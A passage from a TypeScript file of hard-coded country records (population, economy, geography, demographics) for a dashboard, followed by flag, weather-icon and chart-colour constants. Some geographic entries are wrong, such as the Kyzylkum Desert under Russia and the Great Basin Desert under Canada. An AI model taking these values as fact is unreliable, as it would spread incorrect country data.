    touristAttractions: ['Colosseum', 'Vatican City', 'Leaning Tower of Pisa', 'Venice'],
    culturalHighlights: ['Renaissance Art', 'Opera', 'Pasta', 'Fashion'],
    economicIndicators: {
      gdp: 2106287000000,
      gdpPerCapita: 34260,
      unemploymentRate: 9.9,
      inflationRate: 1.2,
      exports: ['Machinery', 'Vehicles', 'Pharmaceuticals', 'Clothing'],
      imports: ['Crude Oil', 'Machinery', 'Vehicles', 'Pharmaceuticals']
    },
    geographicFeatures: {
      rivers: ['Po', 'Tiber', 'Adige', 'Arno'],
      mountains: ['Alps', 'Apennines', 'Dolomites'],
      lakes: ['Lake Garda', 'Lake Maggiore', 'Lake Como'],
      deserts: [],
      forests: ['Italian Alps', 'Apennine Mountains', 'Calabrian Forests']
    },
    demographics: {
      populationDensity: 206,
      urbanization: 70.4,
      ageDistribution: {
        under15: 13.2,
        between15and64: 64.1,
        over65: 22.7
      },
      lifeExpectancy: 83.5,
      literacyRate: 99.2
    }
  },
  {
    code: 'ES',
    name: 'Spain',
    city: 'Madrid',
    timezone: 'Europe/Madrid',
    lat: 40.4168,
    lon: -3.7038,
    population: 46754778,
    region: 'Europe',
    subregion: 'Southern Europe',
    currency: 'EUR',
    language: 'Spanish',
    flag: '🇪🇸',
    capital: 'Madrid',
    area: 505370,
    borders: ['AND', 'FRA', 'GIB', 'PRT', 'MAR'],
    callingCode: '+34',
    topLevelDomain: '.es',
    alpha2Code: 'ES',
    alpha3Code: 'ESP',
    nativeName: 'España',
    numericCode: '724',
    cioc: 'ESP',
    demonym: 'Spanish',
    gini: 34.7,
    continent: 'Europe',
    climateZone: 'Mediterranean',
    isCoastal: true,
    averageElevation: 660,
    majorIndustries: ['Tourism', 'Manufacturing', 'Agriculture', 'Renewable Energy'],
    touristAttractions: ['Sagrada Familia', 'Alhambra', 'Prado Museum', 'Camino de Santiago'],
    culturalHighlights: ['Flamenco', 'Tapas', 'Bullfighting', 'Siesta'],
    economicIndicators: {
      gdp: 1394116000000,
      gdpPerCapita: 29600,
      unemploymentRate: 14.1,
      inflationRate: 1.8,
      exports: ['Machinery', 'Vehicles', 'Food', 'Pharmaceuticals'],
      imports: ['Machinery', 'Fuels', 'Chemicals', 'Vehicles']
    },
    geographicFeatures: {
      rivers: ['Ebro', 'Tagus', 'Duero', 'Guadalquivir'],
      mountains: ['Pyrenees', 'Sierra Nevada', 'Cantabrian Mountains'],
      lakes: ['Lake Sanabria', 'Lake Banyoles'],
      deserts: ['Tabernas Desert'],
      forests: ['Pyrenean Forests', 'Galician Forests', 'Andalusian Forests']
    },
    demographics: {
      populationDensity: 94,
      urbanization: 80.3,
      ageDistribution: {
        under15: 15.0,
        between15and64: 65.8,
        over65: 19.2
      },
      lifeExpectancy: 83.6,
      literacyRate: 98.4
    }
  },
  {
    code: 'JP',
    name: 'Japan',
    city: 'Tokyo',
    timezone: 'Asia/Tokyo',
    lat: 35.6762,
    lon: 139.6503,
    population: 126476461,
    region: 'Asia',
    subregion: 'Eastern Asia',
    currency: 'JPY',
    language: 'Japanese',
    flag: '🇯🇵',
    capital: 'Tokyo',
    area: 377930,
    borders: [],
    callingCode: '+81',
    topLevelDomain: '.jp',
    alpha2Code: 'JP',
    alpha3Code: 'JPN',
    nativeName: '日本',
    numericCode: '392',
    cioc: 'JPN',
    demonym: 'Japanese',
    gini: 32.9,
    continent: 'Asia',
    climateZone: 'Temperate',
    isCoastal: true,
    averageElevation: 438,
    majorIndustries: ['Technology', 'Automotive', 'Manufacturing', 'Electronics'],
    touristAttractions: ['Mount Fuji', 'Kyoto Temples', 'Tokyo Skytree', 'Hiroshima Peace Memorial'],
    culturalHighlights: ['Anime', 'Sushi', 'Samurai', 'Tea Ceremony'],
    economicIndicators: {
      gdp: 4872137000000,
      gdpPerCapita: 39290,
      unemploymentRate: 2.8,
      inflationRate: 0.5,
      exports: ['Vehicles', 'Machinery', 'Electronics', 'Optical Instruments'],
      imports: ['Fuels', 'Machinery', 'Food', 'Chemicals']
    },
    geographicFeatures: {
      rivers: ['Shinano', 'Tone', 'Ishikari', 'Teshio'],
      mountains: ['Mount Fuji', 'Japanese Alps', 'Mount Aso'],
      lakes: ['Lake Biwa', 'Lake Kasumigaura', 'Lake Saroma'],
      deserts: [],
      forests: ['Temperate Forests', 'Subtropical Forests', 'Boreal Forests']
    },
    demographics: {
      populationDensity: 347,
      urbanization: 91.8,
      ageDistribution: {
        under15: 12.2,
        between15and64: 59.7,
        over65: 28.1
      },
      lifeExpectancy: 84.6,
      literacyRate: 99.0
    }
  },
  {
    code: 'CN',
    name: 'China',
    city: 'Beijing',
    timezone: 'Asia/Shanghai',
    lat: 39.9042,
    lon: 116.4074,
    population: 1439323776,
    region: 'Asia',
    subregion: 'Eastern Asia',
    currency: 'CNY',
    language: 'Chinese',
    flag: '🇨🇳',
    capital: 'Beijing',
    area: 9596961,
    borders: ['AFG', 'BTN', 'MMR', 'HKG', 'IND', 'KAZ', 'PRK', 'KGZ', 'LAO', 'MAC', 'MNG', 'PAK', 'RUS', 'TJK', 'VNM'],
    callingCode: '+86',
    topLevelDomain: '.cn',
    alpha2Code: 'CN',
    alpha3Code: 'CHN',
    nativeName: '中国',
    numericCode: '156',
    cioc: 'CHN',
    demonym: 'Chinese',
    gini: 38.5,
    continent: 'Asia',
    climateZone: 'Continental',
    isCoastal: true,
    averageElevation: 1840,
    majorIndustries: ['Manufacturing', 'Technology', 'Agriculture', 'Services'],
    touristAttractions: ['Great Wall of China', 'Forbidden City', 'Terracotta Army', 'Zhangjiajie'],
    culturalHighlights: ['Kung Fu', 'Chinese New Year', 'Calligraphy', 'Traditional Medicine'],
    economicIndicators: {
      gdp: 14342903000000,
      gdpPerCapita: 10500,
      unemploymentRate: 3.8,
      inflationRate: 2.9,
      exports: ['Electronics', 'Machinery', 'Textiles', 'Chemicals'],
      imports: ['Electronics', 'Machinery', 'Oil', 'Medical Equipment']
    },
    geographicFeatures: {
      rivers: ['Yangtze', 'Yellow River', 'Pearl River', 'Heilongjiang'],
      mountains: ['Himalayas', 'Kunlun Mountains', 'Tian Shan'],
      lakes: ['Poyang Lake', 'Dongting Lake', 'Taihu Lake'],
      deserts: ['Gobi Desert', 'Taklamakan Desert', 'Badain Jaran'],
      forests: ['Northeast China Plain', 'Yangtze River Basin', 'South China']
    },
    demographics: {
      populationDensity: 153,
      urbanization: 60.3,
      ageDistribution: {
        under15: 17.3,
        between15and64: 70.7,
        over65: 12.0
      },
      lifeExpectancy: 76.9,
      literacyRate: 96.8
    }
  },
  {
    code: 'IN',
    name: 'India',
    city: 'Mumbai',
    timezone: 'Asia/Kolkata',
    lat: 19.0760,
    lon: 72.8777,
    population: 1380004385,
    region: 'Asia',
    subregion: 'Southern Asia',
    currency: 'INR',
    language: 'Hindi',
    flag: '🇮🇳',
    capital: 'New Delhi',
    area: 3287263,
    borders: ['AFG', 'BGD', 'BTN', 'MMR', 'CHN', 'NPL', 'PAK', 'LKA'],
    callingCode: '+91',
    topLevelDomain: '.in',
    alpha2Code: 'IN',
    alpha3Code: 'IND',
    nativeName: 'भारत',
    numericCode: '356',
    cioc: 'IND',
    demonym: 'Indian',
    gini: 35.7,
    continent: 'Asia',
    climateZone: 'Tropical',
    isCoastal: true,
    averageElevation: 160,
    majorIndustries: ['IT Services', 'Manufacturing', 'Agriculture', 'Pharmaceuticals'],
    touristAttractions: ['Taj Mahal', 'Red Fort', 'Goa Beaches', 'Kerala Backwaters'],
    culturalHighlights: ['Bollywood', 'Yoga', 'Spices', 'Festivals'],
    economicIndicators: {
      gdp: 2875142000000,
      gdpPerCapita: 2100,
      unemploymentRate: 3.5,
      inflationRate: 4.8,
      exports: ['Petroleum Products', 'Textiles', 'Chemicals', 'Pharmaceuticals'],
      imports: ['Crude Oil', 'Electronics', 'Gold', 'Machinery']
    },
    geographicFeatures: {
      rivers: ['Ganges', 'Brahmaputra', 'Indus', 'Godavari'],
      mountains: ['Himalayas', 'Western Ghats', 'Eastern Ghats'],
      lakes: ['Dal Lake', 'Chilika Lake', 'Vembanad Lake'],
      deserts: ['Thar Desert', 'Cold Desert'],
      forests: ['Western Ghats', 'Eastern Ghats', 'Sundarbans']
    },
    demographics: {
      populationDensity: 464,
      urbanization: 34.5,
      ageDistribution: {
        under15: 26.2,
        between15and64: 67.3,
        over65: 6.5
      },
      lifeExpectancy: 69.7,
      literacyRate: 74.4
    }
  },
  {
    code: 'BR',
    name: 'Brazil',
    city: 'São Paulo',
    timezone: 'America/Sao_Paulo',
    lat: -23.5558,
    lon: -46.6396,
    population: 212559417,
    region: 'Americas',
    subregion: 'South America',
    currency: 'BRL',
    language: 'Portuguese',
    flag: '🇧🇷',
    capital: 'Brasília',
    area: 8514877,
    borders: ['ARG', 'BOL', 'COL', 'GUF', 'GUY', 'PRY', 'PER', 'SUR', 'URY', 'VEN'],
    callingCode: '+55',
    topLevelDomain: '.br',
    alpha2Code: 'BR',
    alpha3Code: 'BRA',
    nativeName: 'Brasil',
    numericCode: '076',
    cioc: 'BRA',
    demonym: 'Brazilian',
    gini: 53.9,
    continent: 'South America',
    climateZone: 'Tropical',
    isCoastal: true,
    averageElevation: 320,
    majorIndustries: ['Agriculture', 'Mining', 'Manufacturing', 'Services'],
    touristAttractions: ['Christ the Redeemer', 'Iguazu Falls', 'Amazon Rainforest', 'Copacabana Beach'],
    culturalHighlights: ['Carnival', 'Samba', 'Football', 'Capoeira'],
    economicIndicators: {
      gdp: 1608981000000,
      gdpPerCapita: 7610,
      unemploymentRate: 11.9,
      inflationRate: 4.3,
      exports: ['Soybeans', 'Iron Ore', 'Crude Oil', 'Sugar'],
      imports: ['Machinery', 'Electronics', 'Vehicles', 'Pharmaceuticals']
    },
    geographicFeatures: {
      rivers: ['Amazon', 'Paraná', 'Tocantins', 'São Francisco'],
      mountains: ['Brazilian Highlands', 'Guiana Highlands'],
      lakes: ['Balbina Reservoir', 'Sobradinho Reservoir'],
      deserts: ['Caatinga'],
      forests: ['Amazon Rainforest', 'Atlantic Forest', 'Cerrado']
    },
    demographics: {
      populationDensity: 25,
      urbanization: 87.1,
      ageDistribution: {
        under15: 21.8,
        between15and64: 69.4,
        over65: 8.8
      },
      lifeExpectancy: 75.9,
      literacyRate: 93.2
    }
  },
  {
    code: 'CA',
    name: 'Canada',
    city: 'Toronto',
    timezone: 'America/Toronto',
    lat: 43.6532,
    lon: -79.3832,
    population: 37742154,
    region: 'Americas',
    subregion: 'Northern America',
    currency: 'CAD',
    language: 'English',
    flag: '🇨🇦',
    capital: 'Ottawa',
    area: 9984670,
    borders: ['USA'],
    callingCode: '+1',
    topLevelDomain: '.ca',
    alpha2Code: 'CA',
    alpha3Code: 'CAN',
    nativeName: 'Canada',
    numericCode: '124',
    cioc: 'CAN',
    demonym: 'Canadian',
    gini: 34.0,
    continent: 'North America',
    climateZone: 'Continental',
    isCoastal: true,
    averageElevation: 487,
    majorIndustries: ['Natural Resources', 'Manufacturing', 'Services', 'Technology'],
    touristAttractions: ['Niagara Falls', 'Banff National Park', 'CN Tower', 'Old Quebec'],
    culturalHighlights: ['Hockey', 'Maple Syrup', 'Multiculturalism', 'Poutine'],
    economicIndicators: {
      gdp: 1736426000000,
      gdpPerCapita: 46260,
      unemploymentRate: 5.7,
      inflationRate: 1.9,
      exports: ['Energy', 'Forestry', 'Mining', 'Agriculture'],
      imports: ['Machinery', 'Electronics', 'Vehicles', 'Energy']
    },
    geographicFeatures: {
      rivers: ['Mackenzie', 'Yukon', 'St. Lawrence', 'Nelson'],
      mountains: ['Rocky Mountains', 'Appalachian Mountains', 'Coast Mountains'],
      lakes: ['Great Lakes', 'Great Bear Lake', 'Great Slave Lake'],
      deserts: ['Great Basin Desert'],
      forests: ['Boreal Forest', 'Temperate Rainforest', 'Mixed Forest']
    },
    demographics: {
      populationDensity: 4,
      urbanization: 81.4,
      ageDistribution: {
        under15: 15.6,
        between15and64: 66.8,
        over65: 17.6
      },
      lifeExpectancy: 82.4,
      literacyRate: 99.0
    }
  },
  {
    code: 'AU',
    name: 'Australia',
    city: 'Sydney',
    timezone: 'Australia/Sydney',
    lat: -33.8688,
    lon: 151.2093,
    population: 25499884,
    region: 'Oceania',
    subregion: 'Australia and New Zealand',
    currency: 'AUD',
    language: 'English',
    flag: '🇦🇺',
    capital: 'Canberra',
    area: 7741220,
    borders: [],
    callingCode: '+61',
    topLevelDomain: '.au',
    alpha2Code: 'AU',
    alpha3Code: 'AUS',
    nativeName: 'Australia',
    numericCode: '036',
    cioc: 'AUS',
    demonym: 'Australian',
    gini: 34.4,
    continent: 'Oceania',
    climateZone: 'Arid',
    isCoastal: true,
    averageElevation: 330,
    majorIndustries: ['Mining', 'Agriculture', 'Services', 'Tourism'],
    touristAttractions: ['Sydney Opera House', 'Great Barrier Reef', 'Uluru', 'Twelve Apostles'],
    culturalHighlights: ['Surfing', 'Barbecue', 'Aboriginal Culture', 'Rugby'],
    economicIndicators: {
      gdp: 1392681000000,
      gdpPerCapita: 55060,
      unemploymentRate: 5.2,
      inflationRate: 1.6,
      exports: ['Iron Ore', 'Coal', 'Natural Gas', 'Gold'],
      imports: ['Machinery', 'Electronics', 'Vehicles', 'Pharmaceuticals']
    },
    geographicFeatures: {
      rivers: ['Murray', 'Darling', 'Murrumbidgee', 'Lachlan'],
      mountains: ['Great Dividing Range', 'Snowy Mountains', 'Blue Mountains'],
      lakes: ['Lake Eyre', 'Lake Torrens', 'Lake Gairdner'],
      deserts: ['Great Victoria Desert', 'Great Sandy Desert', 'Tanami Desert'],
      forests: ['Tropical Rainforest', 'Temperate Forest', 'Eucalyptus Forest']
    },
    demographics: {
      populationDensity: 3,
      urbanization: 86.2,
      ageDistribution: {
        under15: 18.8,
        between15and64: 64.7,
        over65: 16.5
      },
      lifeExpectancy: 83.4,
      literacyRate: 99.0
    }
  },
  {
    code: 'RU',
    name: 'Russia',
    city: 'Moscow',
    timezone: 'Europe/Moscow',
    lat: 55.7558,
    lon: 37.6176,
    population: 145934462,
    region: 'Europe',
    subregion: 'Eastern Europe',
    currency: 'RUB',
    language: 'Russian',
    flag: '🇷🇺',
    capital: 'Moscow',
    area: 17098242,
    borders: ['AZE', 'BLR', 'CHN', 'EST', 'FIN', 'GEO', 'KAZ', 'PRK', 'LVA', 'LTU', 'MNG', 'NOR', 'POL', 'UKR'],
    callingCode: '+7',
    topLevelDomain: '.ru',
    alpha2Code: 'RU',
    alpha3Code: 'RUS',
    nativeName: 'Россия',
    numericCode: '643',
    cioc: 'RUS',
    demonym: 'Russian',
    gini: 37.5,
    continent: 'Europe',
    climateZone: 'Continental',
    isCoastal: true,
    averageElevation: 600,
    majorIndustries: ['Energy', 'Mining', 'Manufacturing', 'Agriculture'],
    touristAttractions: ['Red Square', 'Hermitage Museum', 'Trans-Siberian Railway', 'Lake Baikal'],
    culturalHighlights: ['Ballet', 'Literature', 'Vodka', 'Matryoshka Dolls'],
    economicIndicators: {
      gdp: 1483498000000,
      gdpPerCapita: 10230,
      unemploymentRate: 4.6,
      inflationRate: 6.5,
      exports: ['Energy', 'Metals', 'Machinery', 'Chemicals'],
      imports: ['Machinery', 'Vehicles', 'Pharmaceuticals', 'Plastics']
    },
    geographicFeatures: {
      rivers: ['Volga', 'Yenisei', 'Lena', 'Ob'],
      mountains: ['Ural Mountains', 'Caucasus Mountains', 'Altai Mountains'],
      lakes: ['Lake Baikal', 'Lake Ladoga', 'Lake Onega'],
      deserts: ['Kyzylkum Desert'],
      forests: ['Taiga', 'Mixed Forest', 'Steppe']
    },
    demographics: {
      populationDensity: 9,
      urbanization: 74.4,
      ageDistribution: {
        under15: 18.1,
        between15and64: 66.8,
        over65: 15.1
      },
      lifeExpectancy: 72.6,
      literacyRate: 99.7
    }
  },
  {
    code: 'KR',
    name: 'South Korea',
    city: 'Seoul',
    timezone: 'Asia/Seoul',
    lat: 37.5665,
    lon: 126.9780,
    population: 51269185,
    region: 'Asia',
    subregion: 'Eastern Asia',
    currency: 'KRW',
    language: 'Korean',
    flag: '🇰🇷',
    capital: 'Seoul',
    area: 103319,
    borders: ['PRK'],
    callingCode: '+82',
    topLevelDomain: '.kr',
    alpha2Code: 'KR',
    alpha3Code: 'KOR',
    nativeName: '대한민국',
    numericCode: '410',
    cioc: 'KOR',
    demonym: 'South Korean',
    gini: 31.4,
    continent: 'Asia',
    climateZone: 'Temperate',
    isCoastal: true,
    averageElevation: 282,
    majorIndustries: ['Technology', 'Automotive', 'Shipbuilding', 'Steel'],
    touristAttractions: ['Gyeongbokgung Palace', 'Jeju Island', 'Busan Beaches', 'DMZ'],
    culturalHighlights: ['K-Pop', 'Korean BBQ', 'Taekwondo', 'Hanbok'],
    economicIndicators: {
      gdp: 1642383000000,
      gdpPerCapita: 31430,
      unemploymentRate: 4.0,
      inflationRate: 2.0,
      exports: ['Electronics', 'Machinery', 'Vehicles', 'Steel'],
      imports: ['Machinery', 'Electronics', 'Fuels', 'Steel']
    },
    geographicFeatures: {
      rivers: ['Han River', 'Nakdong River', 'Geum River'],
      mountains: ['Taebaek Mountains', 'Sobaek Mountains', 'Jiri Mountain'],
      lakes: ['Lake Cheonji', 'Andong Lake'],
      deserts: [],
      forests: ['Temperate Forest', 'Mixed Forest', 'Coniferous Forest']
    },
    demographics: {
      populationDensity: 527,
      urbanization: 81.4,
      ageDistribution: {
        under15: 12.9,
        between15and64: 72.1,
        over65: 15.0
      },
      lifeExpectancy: 83.0,
      literacyRate: 97.9
    }
  },
  {
    code: 'MX',
    name: 'Mexico',
    city: 'Mexico City',
    timezone: 'America/Mexico_City',
    lat: 19.4326,
    lon: -99.1332,
    population: 128932753,
    region: 'Americas',
    subregion: 'Central America',
    currency: 'MXN',
    language: 'Spanish',
    flag: '🇲🇽',
    capital: 'Mexico City',
    area: 1964375,
    borders: ['BLZ', 'GTM', 'USA'],
    callingCode: '+52',
    topLevelDomain: '.mx',
    alpha2Code: 'MX',
    alpha3Code: 'MEX',
    nativeName: 'México',
    numericCode: '484',
    cioc: 'MEX',
    demonym: 'Mexican',
    gini: 48.2,
    continent: 'North America',
    climateZone: 'Tropical',
    isCoastal: true,
    averageElevation: 1111,
    majorIndustries: ['Manufacturing', 'Agriculture', 'Mining', 'Tourism'],
    touristAttractions: ['Chichen Itza', 'Teotihuacan', 'Cancun', 'Guadalajara'],
    culturalHighlights: ['Day of the Dead', 'Mariachi', 'Tacos', 'Lucha Libre'],
    economicIndicators: {
      gdp: 1078669000000,
      gdpPerCapita: 8350,
      unemploymentRate: 3.5,
      inflationRate: 5.7,
      exports: ['Manufactured Goods', 'Oil', 'Silver', 'Fruits'],
      imports: ['Machinery', 'Steel', 'Agricultural Products', 'Electrical Equipment']
    },
    geographicFeatures: {
      rivers: ['Rio Grande', 'Lerma River', 'Balsas River'],
      mountains: ['Sierra Madre Oriental', 'Sierra Madre Occidental', 'Trans-Mexican Volcanic Belt'],
      lakes: ['Lake Chapala', 'Lake Cuitzeo', 'Lake Patzcuaro'],
      deserts: ['Chihuahuan Desert', 'Sonoran Desert'],
      forests: ['Cloud Forest', 'Tropical Rainforest', 'Pine-Oak Forest']
    },
    demographics: {
      populationDensity: 66,
      urbanization: 80.2,
      ageDistribution: {
        under15: 26.2,
        between15and64: 65.8,
        over65: 8.0
      },
      lifeExpectancy: 75.1,
      literacyRate: 95.4
    }
  },
  {
    code: 'AR',
    name: 'Argentina',
    city: 'Buenos Aires',
    timezone: 'America/Argentina/Buenos_Aires',
    lat: -34.6037,
    lon: -58.3816,
    population: 45195774,
    region: 'Americas',
    subregion: 'South America',
    currency: 'ARS',
    language: 'Spanish',
    flag: '🇦🇷',
    capital: 'Buenos Aires',
    area: 2780400,
    borders: ['BOL', 'BRA', 'CHL', 'PRY', 'URY'],
    callingCode: '+54',
    topLevelDomain: '.ar',
    alpha2Code: 'AR',
    alpha3Code: 'ARG',
    nativeName: 'Argentina',
    numericCode: '032',
    cioc: 'ARG',
    demonym: 'Argentine',
    gini: 42.9,
    continent: 'South America',
    climateZone: 'Temperate',
    isCoastal: true,
    averageElevation: 595,
    majorIndustries: ['Agriculture', 'Manufacturing', 'Mining', 'Services'],
    touristAttractions: ['Iguazu Falls', 'Perito Moreno Glacier', 'Bariloche', 'Ushuaia'],
    culturalHighlights: ['Tango', 'Beef', 'Football', 'Wine'],
    economicIndicators: {
      gdp: 449663000000,
      gdpPerCapita: 9930,
      unemploymentRate: 10.4,
      inflationRate: 48.4,
      exports: ['Beef', 'Wheat', 'Corn', 'Soybeans'],
      imports: ['Machinery', 'Vehicles', 'Petroleum', 'Chemicals']
    },
    geographicFeatures: {
      rivers: ['Paraná', 'Uruguay', 'Colorado', 'Negro'],
      mountains: ['Andes Mountains', 'Aconcagua', 'Cerro Mercedario'],
      lakes: ['Lake Nahuel Huapi', 'Lake Argentino', 'Lake Viedma'],
      deserts: ['Patagonian Desert'],
      forests: ['Valdivian Temperate Rainforest', 'Patagonian Forest']
    },
    demographics: {
      populationDensity: 16,
      urbanization: 92.1,
      ageDistribution: {
        under15: 24.7,
        between15and64: 63.8,
        over65: 11.5
      },
      lifeExpectancy: 76.7,
      literacyRate: 99.0
    }
  },
  {
    code: 'ZA',
    name: 'South Africa',
    city: 'Cape Town',
    timezone: 'Africa/Johannesburg',
    lat: -33.9249,
    lon: 18.4241,
    population: 59308690,
    region: 'Africa',
    subregion: 'Southern Africa',
    currency: 'ZAR',
    language: 'Afrikaans',
    flag: '🇿🇦',
    capital: 'Cape Town',
    area: 1221037,
    borders: ['BWA', 'LSO', 'MOZ', 'NAM', 'SWZ', 'ZWE'],
    callingCode: '+27',
    topLevelDomain: '.za',
    alpha2Code: 'ZA',
    alpha3Code: 'ZAF',
    nativeName: 'South Africa',
    numericCode: '710',
    cioc: 'RSA',
    demonym: 'South African',
    gini: 63.0,
    continent: 'Africa',
    climateZone: 'Temperate',
    isCoastal: true,
    averageElevation: 1034,
    majorIndustries: ['Mining', 'Manufacturing', 'Agriculture', 'Services'],
    touristAttractions: ['Table Mountain', 'Kruger National Park', 'Robben Island', 'Cape of Good Hope'],
    culturalHighlights: ['Rainbow Nation', 'Braai', 'Rugby', 'Ubuntu'],
    economicIndicators: {
      gdp: 419015000000,
      gdpPerCapita: 7055,
      unemploymentRate: 28.7,
      inflationRate: 4.5,
      exports: ['Gold', 'Diamonds', 'Platinum', 'Vehicles'],
      imports: ['Machinery', 'Electronics', 'Vehicles', 'Pharmaceuticals']
    },
    geographicFeatures: {
      rivers: ['Orange River', 'Vaal River', 'Limpopo River'],
      mountains: ['Drakensberg Mountains', 'Table Mountain', 'Magaliesberg'],
      lakes: ['Lake Chrissie', 'Lake Fundudzi'],
      deserts: ['Kalahari Desert', 'Karoo'],
      forests: ['Knysna Forest', 'Tsitsikamma Forest']
    },
    demographics: {
      populationDensity: 49,
      urbanization: 66.4,
      ageDistribution: {
        under15: 28.7,
        between15and64: 65.7,
        over65: 5.6
      },
      lifeExpectancy: 64.1,
      literacyRate: 87.0
    }
  },
  {
    code: 'EG',
    name: 'Egypt',
    city: 'Cairo',
    timezone: 'Africa/Cairo',
    lat: 30.0444,
    lon: 31.2357,
    population: 102334404,
    region: 'Africa',
    subregion: 'Northern Africa',
    currency: 'EGP',
    language: 'Arabic',
    flag: '🇪🇬',
    capital: 'Cairo',
    area: 1001450,
    borders: ['ISR', 'LBY', 'SDN'],
    callingCode: '+20',
    topLevelDomain: '.eg',
    alpha2Code: 'EG',
    alpha3Code: 'EGY',
    nativeName: 'مصر',
    numericCode: '818',
    cioc: 'EGY',
    demonym: 'Egyptian',
    gini: 31.5,
    continent: 'Africa',
    climateZone: 'Arid',
    isCoastal: true,
    averageElevation: 321,
    majorIndustries: ['Tourism', 'Agriculture', 'Manufacturing', 'Petroleum'],
    touristAttractions: ['Pyramids of Giza', 'Valley of the Kings', 'Abu Simbel', 'Karnak Temple'],
    culturalHighlights: ['Ancient History', 'Arabic Culture', 'Coptic Christianity', 'Nile River'],
    economicIndicators: {
      gdp: 404143000000,
      gdpPerCapita: 3970,
      unemploymentRate: 7.9,
      inflationRate: 13.9,
      exports: ['Natural Gas', 'Petroleum Products', 'Cotton', 'Textiles'],
      imports: ['Machinery', 'Food', 'Chemicals', 'Wood Products']
    },
    geographicFeatures: {
      rivers: ['Nile River'],
      mountains: ['Mount Catherine', 'Mount Sinai'],
      lakes: ['Lake Nasser'],
      deserts: ['Sahara Desert', 'Eastern Desert', 'Western Desert'],
      forests: ['Sinai Peninsula']
    },
    demographics: {
      populationDensity: 103,
      urbanization: 42.7,
      ageDistribution: {
        under15: 33.6,
        between15and64: 60.6,
        over65: 5.8
      },
      lifeExpectancy: 72.0,
      literacyRate: 71.2
    }
  },
  {
    code: 'TR',
    name: 'Turkey',
    city: 'Istanbul',
    timezone: 'Europe/Istanbul',
    lat: 41.0082,
    lon: 28.9784,
    population: 84339067,
    region: 'Asia',
    subregion: 'Western Asia',
    currency: 'TRY',
    language: 'Turkish',
    flag: '🇹🇷',
    capital: 'Ankara',
    area: 783562,
    borders: ['ARM', 'AZE', 'BGR', 'GEO', 'GRC', 'IRN', 'IRQ', 'SYR'],
    callingCode: '+90',
    topLevelDomain: '.tr',
    alpha2Code: 'TR',
    alpha3Code: 'TUR',
    nativeName: 'Türkiye',
    numericCode: '792',
    cioc: 'TUR',
    demonym: 'Turkish',
    gini: 41.9,
    continent: 'Asia',
    climateZone: 'Mediterranean',
    isCoastal: true,
    averageElevation: 1132,
    majorIndustries: ['Tourism', 'Manufacturing', 'Agriculture', 'Mining'],
    touristAttractions: ['Hagia Sophia', 'Cappadocia', 'Pamukkale', 'Ephesus'],
    culturalHighlights: ['Ottoman Empire', 'Turkish Delight', 'Whirling Dervishes', 'Turkish Bath'],
    economicIndicators: {
      gdp: 761425000000,
      gdpPerCapita: 9030,
      unemploymentRate: 13.2,
      inflationRate: 19.6,
      exports: ['Machinery', 'Textiles', 'Food', 'Vehicles'],
      imports: ['Machinery', 'Chemicals', 'Fuels', 'Electronics']
    },
    geographicFeatures: {
      rivers: ['Euphrates', 'Tigris', 'Kızılırmak', 'Sakarya'],
      mountains: ['Mount Ararat', 'Taurus Mountains', 'Pontic Mountains'],
      lakes: ['Lake Van', 'Lake Tuz', 'Lake Eğirdir'],
      deserts: [],
      forests: ['Black Sea Forests', 'Mediterranean Forests']
    },
    demographics: {
      populationDensity: 108,
      urbanization: 75.1,
      ageDistribution: {
        under15: 23.4,
        between15and64: 68.6,
        over65: 8.0
      },
      lifeExpectancy: 77.7,
      literacyRate: 96.2
    }
  },
  {
    code: 'TH',
    name: 'Thailand',
    city: 'Bangkok',
    timezone: 'Asia/Bangkok',
    lat: 13.7563,
    lon: 100.5018,
    population: 69799978,
    region: 'Asia',
    subregion: 'South-Eastern Asia',
    currency: 'THB',
    language: 'Thai',
    flag: '🇹🇭',
    capital: 'Bangkok',
    area: 513120,
    borders: ['MMR', 'KHM', 'LAO', 'MYS'],
    callingCode: '+66',
    topLevelDomain: '.th',
    alpha2Code: 'TH',
    alpha3Code: 'THA',
    nativeName: 'ประเทศไทย',
    numericCode: '764',
    cioc: 'THA',
    demonym: 'Thai',
    gini: 36.4,
    continent: 'Asia',
    climateZone: 'Tropical',
    isCoastal: true,
    averageElevation: 287,
    majorIndustries: ['Tourism', 'Manufacturing', 'Agriculture', 'Services'],
    touristAttractions: ['Grand Palace', 'Wat Pho', 'Phuket', 'Chiang Mai'],
    culturalHighlights: ['Buddhism', 'Thai Cuisine', 'Muay Thai', 'Festivals'],
    economicIndicators: {
      gdp: 543776000000,
      gdpPerCapita: 7810,
      unemploymentRate: 1.2,
      inflationRate: 0.7,
      exports: ['Electronics', 'Machinery', 'Vehicles', 'Rubber'],
      imports: ['Machinery', 'Electronics', 'Fuels', 'Chemicals']
    },
    geographicFeatures: {
      rivers: ['Chao Phraya', 'Mekong', 'Mae Ping'],
      mountains: ['Doi Inthanon', 'Khao Yai', 'Phu Kradueng'],
      lakes: ['Lake Songkhla', 'Bueng Boraphet'],
      deserts: [],
      forests: ['Tropical Rainforest', 'Deciduous Forest', 'Mangrove Forest']
    },
    demographics: {
      populationDensity: 137,
      urbanization: 50.4,
      ageDistribution: {
        under15: 16.9,
        between15and64: 70.8,
        over65: 12.3
      },
      lifeExpectancy: 77.2,
      literacyRate: 96.7
    }
  }
];

const EXPANDED_FLAG_EMOJIS: { [key: string]: string } = {
  'US': '🇺🇸', 'GB': '🇬🇧', 'DE': '🇩🇪', 'FR': '🇫🇷', 'IT': '🇮🇹',
  'ES': '🇪🇸', 'JP': '🇯🇵', 'CN': '🇨🇳', 'IN': '🇮🇳', 'BR': '🇧🇷',
  'CA': '🇨🇦', 'AU': '🇦🇺', 'RU': '🇷🇺', 'KR': '🇰🇷', 'MX': '🇲🇽',
  'AR': '🇦🇷', 'ZA': '🇿🇦', 'EG': '🇪🇬', 'TR': '🇹🇷', 'TH': '🇹🇭'
};

const WEATHER_CONDITIONS = {
  'sunny': { icon: Sun, color: 'text-yellow-400', bg: 'bg-yellow-400/20' },
  'clear': { icon: Sun, color: 'text-yellow-400', bg: 'bg-yellow-400/20' },
  'cloudy': { icon: Cloud, color: 'text-gray-400', bg: 'bg-gray-400/20' },
  'rainy': { icon: CloudRain, color: 'text-blue-400', bg: 'bg-blue-400/20' },
  'snowy': { icon: CloudSnow, color: 'text-blue-200', bg: 'bg-blue-200/20' },
  'stormy': { icon: Zap, color: 'text-purple-400', bg: 'bg-purple-400/20' }
};

const CHART_COLORS = [
  '#8884d8', '#82ca9d', '#ffc658', '#ff7300', '#00ff00', '#ff00ff',
  '#00ffff', '#ffff00', '#ff8042', '#0088fe', '#00c49f', '#ffbb28',
